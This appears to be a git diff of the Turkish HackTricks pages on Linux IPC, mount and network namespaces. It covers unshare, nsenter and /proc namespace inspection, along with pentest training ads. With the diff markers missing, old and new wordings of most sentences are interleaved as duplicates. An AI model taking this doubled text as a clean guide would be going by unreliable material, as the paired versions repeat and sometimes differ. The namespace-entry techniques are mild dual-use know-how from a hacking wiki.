3. Süreçler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWIPC` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir süreç yeni bir namespace'e geçtiğinde veya bir tane oluşturduğunda, o namespace ile ilişkili IPC nesnelerini kullanmaya başlayacaktır.
## Lab:
## Laboratuvar:
### Farklı Ad Alanları Oluşturma
### Farklı Namespace'ler Oluşturma
#### CLI
```bash
sudo unshare -i [--mount-proc] /bin/bash
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemedi</summary>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alana girmez; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutunu çalıştırmak, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa ad alanının temizlenmesini tetikler, çünkü PID 1 yetim işlemleri sahiplenme özel rolüne sahiptir. Linux çekirdeği daha sonra o ad alanda PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemedi" hatasının oluşmasına neden olur.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni bir PID ad alanı oluşturduktan sonra yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde sınırlanır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçlerinin bellek tahsis hatası ile karşılaşmadan çalışmasına olanak tanır.
</details>
@ -61,19 +63,11 @@ sudo unshare -i [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir sürecin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
ls -l /proc/<PID>/ns/ipc
```
Burada `<PID>`, kontrol etmek istediğiniz sürecin kimlik numarasını temsil eder. Bu komutu çalıştırdığınızda, sürecin IPC ad alanında bulunup bulunmadığını görebilirsiniz.
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Tüm IPC isim alanlarını bulun
### Tüm IPC ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -81,17 +75,15 @@ sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
{% endcode %}
### IPC ad alanına girin
{% endcode %}
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
Ayrıca, yalnızca kök kullanıcıysanız başka bir işlem ad alanına **geçebilirsiniz**. Ve başka bir ad alanına **bir tanımlayıcı** (örneğin `/proc/self/ns/net`) işaret etmeden **geçemezsiniz**.
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/net`).
### IPC nesnesi oluşturma
### IPC nesnesi oluşturun
```bash
# Container
sudo unshare -i /bin/bash
@ -110,17 +102,19 @@ ipcs -m # Nothing is seen
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# Mount Namespace
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u** takip edin.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Temel Bilgiler
Bir mount namespace, bir grup işlem tarafından görülen dosya sistemi bağlama noktalarının izolasyonunu sağlayan bir Linux çekirdek özelliğidir. Her mount namespace'in kendi dosya sistemi bağlama noktaları kümesi vardır ve **bir namespace içindeki bağlama noktalarına yapılan değişiklikler diğer namespace'leri etkilemez**. Bu, farklı mount namespace'lerde çalışan işlemlerin dosya sistemi hiyerarşisinin farklı görüntülerine sahip olabileceği anlamına gelir.
Bir mount namespace, bir grup işlemin gördüğü dosya sistemi mount noktalarının izolasyonunu sağlayan bir Linux çekirdek özelliğidir. Her mount namespace'in kendi dosya sistemi mount noktaları seti vardır ve **bir namespace'deki mount noktalarındaki değişiklikler diğer namespace'leri etkilemez**. Bu, farklı mount namespace'lerinde çalışan işlemlerin dosya sistemi hiyerarşisinin farklı görünümlerine sahip olabileceği anlamına gelir.
Mount namespace'ler, her bir konteynerin diğer konteynerlerden ve ana sistemden izole edilmiş kendi dosya sistemi ve yapılandırmasına sahip olması gereken konteynerleştirme gibi durumlarda özellikle kullanışlıdır.
Mount namespace'leri, her bir konteynerin diğer konteynerlerden ve ana sistemden izole edilmiş kendi dosya sistemi ve yapılandırmasına sahip olması gereken konteynerleştirmede özellikle yararlıdır.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir mount namespace oluşturulduğunda, **ebeveyn namespace'inin bağlama noktalarının bir kopyası ile başlatılır**. Bu, oluşturulduğunda yeni namespace'in ebeveyniyle aynı dosya sistemi görüntüsünü paylaştığı anlamına gelir. Bununla birlikte, namespace içindeki bağlama noktalarına yapılan herhangi bir sonraki değişiklik, ebeveyni veya diğer namespace'leri etkilemeyecektir.
2. Bir işlem, kendi namespace'i içinde bir bağlama noktasını değiştirdiğinde, örneğin bir dosya sistemi bağlama veya çıkarma yaptığında, **değişiklik yalnızca o namespace'e özgüdür** ve diğer namespace'leri etkilemez. Bu, her bir namespace'in kendi bağımsız dosya sistemi hiyerarşisine sahip olmasını sağlar.
3. İşlemler, `setns()` sistem çağrısını kullanarak namespace'ler arasında hareket edebilir veya `unshare()` veya `clone()` sistem çağrılarını `CLONE_NEWNS` bayrağıyla kullanarak yeni namespace'ler oluşturabilir. Bir işlem yeni bir namespace'e geçer veya bir tane oluşturursa, o namespace ile ilişkilendirilen bağlama noktalarını kullanmaya başlar.
4. **Dosya tanımlayıcıları ve inode'lar namespace'ler arasında paylaşılır**, bu da bir namespace'deki bir işlemin bir dosyaya işaret eden açık bir dosya tanımlayıcısına sahip olduğu durumda, bu dosya tanımlayıcısını başka bir namespace'deki bir işleme **geçirebileceği** ve **her iki işlemin aynı dosyaya erişeceği** anlamına gelir. Bununla birlikte, dosyanın yolu bağlama noktalarındaki farklılıklar nedeniyle her iki namespace'de aynı olmayabilir.
1. Yeni bir mount namespace oluşturulduğunda, **ebeveyn namespace'inden mount noktalarının bir kopyasıyla başlatılır**. Bu, oluşturulduğunda yeni namespace'in ebeveyn ile aynı dosya sistemi görünümünü paylaştığı anlamına gelir. Ancak, namespace içindeki mount noktalarındaki sonraki değişiklikler ebeveyn veya diğer namespace'leri etkilemeyecektir.
2. Bir işlem, kendi namespace'i içinde bir mount noktasını değiştirdiğinde, örneğin bir dosya sistemini mount veya unmount ettiğinde, **değişiklik o namespace'e özeldir** ve diğer namespace'leri etkilemez. Bu, her namespace'in kendi bağımsız dosya sistemi hiyerarşisine sahip olmasını sağlar.
3. İşlemler, `setns()` sistem çağrısını kullanarak namespace'ler arasında geçiş yapabilir veya `CLONE_NEWNS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni namespace'ler oluşturabilir. Bir işlem yeni bir namespace'e geçtiğinde veya bir tane oluşturduğunda, o namespace ile ilişkili mount noktalarını kullanmaya başlayacaktır.
4. **Dosya tanımlayıcıları ve inode'lar namespace'ler arasında paylaşılır**, yani bir namespace'deki bir işlem, bir dosyaya işaret eden açık bir dosya tanımlayıcısına sahipse, bu **dosya tanımlayıcısını** başka bir namespace'deki bir işleme **geçirebilir** ve **her iki işlem de aynı dosyaya erişecektir**. Ancak, dosyanın yolu, mount noktalarındaki farklılıklar nedeniyle her iki namespace'de aynı olmayabilir.
## Lab:
## Laboratuvar:
### Farklı Namespace'ler Oluşturma
@ -35,27 +36,27 @@ Mount namespace'ler, her bir konteynerin diğer konteynerlerden ve ana sistemden
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
`--mount-proc` parametresini kullanarak `/proc` dosya sisteminin yeni bir örneğini bağladığınızda, yeni bağlama alanının **o ad alanına özgü işlem bilgilerinin doğru ve izole bir görünümünü** sağlarsınız.
Yeni bir `/proc` dosya sisteminin örneğini `--mount-proc` parametresi ile monte ederek, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerine doğru ve izole bir görünüm** sağladığınızı garanti edersiniz.
<details>
<summary>Hata: bash: fork: Bellek tahsis edilemedi</summary>
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl işlediği nedeniyle bir hata oluşur. Ana ayrıntılar ve çözüm aşağıda belirtilmiştir:
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
1. **Sorun Açıklaması**:
- Linux çekirdeği, bir işlemin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanının oluşturulmasını başlatan işlem (unshare işlemi olarak adlandırılır) yeni ad alanına girmez; sadece çocuk işlemleri girer.
- `%unshare -p /bin/bash%` komutunu çalıştırmak, `/bin/bash`'i `unshare` ile aynı işlemde başlatır. Sonuç olarak, `/bin/bash` ve çocuk işlemleri orijinal PID ad alanında bulunur.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk işlemi PID 1 olur. Bu işlem çıkış yaptığında, eğer başka işlem yoksa ad alanının temizlenmesini tetikler, çünkü PID 1 yetim işlemleri benimseme özel rolüne sahiptir. Linux çekirdeği daha sonra o ad alanında PID tahsisini devre dışı bırakır.
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmemektedir; yalnızca onun çocuk süreçleri girmektedir.
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakacaktır.
2. **Sonuç**:
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine neden olur. Bu, yeni bir işlem oluştururken `alloc_pid` işlevinin yeni bir PID tahsis edememesine ve "Bellek tahsis edilemedi" hatasının oluşmasına yol açar.
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
3. **Çözüm**:
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, yeni PID ad alanı oluşturduktan sonra `unshare`'in yeni bir işlem çatallamasını sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 haline gelmesini sağlar. `/bin/bash` ve çocuk işlemleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun yeni ad alanında PID 1 olmasını garanti eder. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
`unshare` komutunun `-f` bayrağıyla çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ve alt işlemleri bellek tahsis hatasıyla karşılaşmadan çalışabilir.
`unshare`'in `-f` bayrağı ile çalıştırılmasını sağlayarak, yeni PID ad alanının doğru bir şekilde korunmasını sağlarsınız, böylece `/bin/bash` ve alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
</details>
@ -64,19 +65,11 @@ sudo unshare -m [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Hangi ad alanında olduğunuzu kontrol edin
Bir işlemin hangi ad alanında olduğunu kontrol etmek için aşağıdaki komutu kullanabilirsiniz:
```bash
ls -l /proc/$$/ns
```
Bu komut, işlem kimliği (`$$`) ile `/proc` dizinindeki `ns` alt dizinindeki sembolik bağlantıları listeler. Her sembolik bağlantı, işlemin hangi ad alanında olduğunu gösterir.
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Tüm Mount ad alanlarını bulun
### Tüm Mount ad alanlarını bul
{% code overflow="wrap" %}
```bash
@ -84,19 +77,17 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null |
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
{% code %}
### Bir Mount ad alanına giriş yapın
{% endcode %}
### Bir Mount ad alanına girin
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
Ayrıca, yalnızca root kullanıcısıysanız **başka bir işlem ad alanına girebilirsiniz**. Ve **bir tanımlayıcıya** (örneğin `/proc/self/ns/mnt`) işaret eden olmadan **başka bir ad alanına giremezsiniz**.
Ayrıca, **başka bir işlem ad alanına yalnızca root iseniz girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/mnt`).
Yeni bağlantılar yalnızca ad alanı içinde erişilebilir olduğundan, bir ad alanının hassas bilgiler içermesi mümkündür ve bu bilgilere yalnızca ad alanından erişilebilir.
Yeni montajlar yalnızca ad alanı içinde erişilebilir olduğundan, bir ad alanının yalnızca oradan erişilebilen hassas bilgileri içermesi mümkündür.
### Bir şeyi bağla
### Bir şeyi monte et
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -114,16 +105,17 @@ ls /tmp/mount_ns_example/test # Doesn't exist
* [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,60 +1,61 @@
# Ağ Ad Alanı
# Ağ Adnamesi
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
Ağ ad alanı, Linux çekirdeğinin bir özelliğidir ve ağ yığınının izolasyonunu sağlar, böylece **her ağ ad alanının kendi bağımsız ağ yapılandırmasına**, arayüzlerine, IP adreslerine, yönlendirme tablolarına ve güvenlik duvarı kurallarına sahip olmasını sağlar. Bu izolasyon, her bir konteynerin diğer konteynerlerden ve ana sistemden bağımsız olarak kendi ağ yapılandırmasına sahip olması gereken konteynerleştirme gibi çeşitli senaryolarda faydalıdır.
Ağ adnamesi, **her ağ adnamesinin kendi bağımsız ağ yapılandırmasına sahip olmasını** sağlayan, ağ yığınını izole eden bir Linux çekirdek özelliğidir; arayüzler, IP adresleri, yönlendirme tabloları ve güvenlik duvarı kuralları. Bu izolasyon, her konteynerin diğer konteynerlerden ve ana sistemden bağımsız kendi ağ yapılandırmasına sahip olması gereken konteynerleştirme gibi çeşitli senaryolar için faydalıdır.
### Nasıl Çalışır:
### Nasıl çalışır:
1. Yeni bir ağ ad alanı oluşturulduğunda, **tamamen izole edilmiş bir ağ yığını** ile başlar ve döngü arayüzü (lo) hariç **hiçbir ağ arayüzü** bulunmaz. Bu, yeni ağ ad alanında çalışan işlemlerin varsayılan olarak diğer ad alanlarındaki veya ana sistemdeki işlemlerle iletişim kuramayacağı anlamına gelir.
2. veth çiftleri gibi **sanal ağ arayüzleri**, ağ ad alanları arasında veya bir ad alanı ile ana sistem arasında ağ bağlantısı kurmak için oluşturulabilir ve taşınabilir. Örneğin, bir veth çiftinin bir ucu bir konteynerin ağ ad alanına yerleştirilebilir ve diğer ucu köprüye veya ana ad alanındaki başka bir ağ arayüzüne bağlanarak konteynere ağ bağlantısı sağlanabilir.
3. Bir ad alanı içindeki ağ arayüzleri, diğer ad alanlarından bağımsız olarak **kendi IP adreslerine, yönlendirme tablolarına ve güvenlik duvarı kurallarına** sahip olabilir. Bu, farklı ağ ad alanlarındaki işlemlerin farklı ağ yapılandırmalarına sahip olmasını ve ayrı ağ sistemlerinde çalışıyormuş gibi çalışmasını sağlar.
4. İşlemler, `setns()` sistem çağrısı kullanılarak ad alanları arasında taşınabilir veya `unshare()` veya `clone()` sistem çağrıları kullanılarak `CLONE_NEWNET` bayrağı ile yeni ad alanları oluşturabilir. Bir işlem yeni bir ad alanına taşındığında veya oluşturulduğunda, o ad alanıyla ilişkili ağ yapılandırmasını ve arayüzleri kullanmaya başlar.
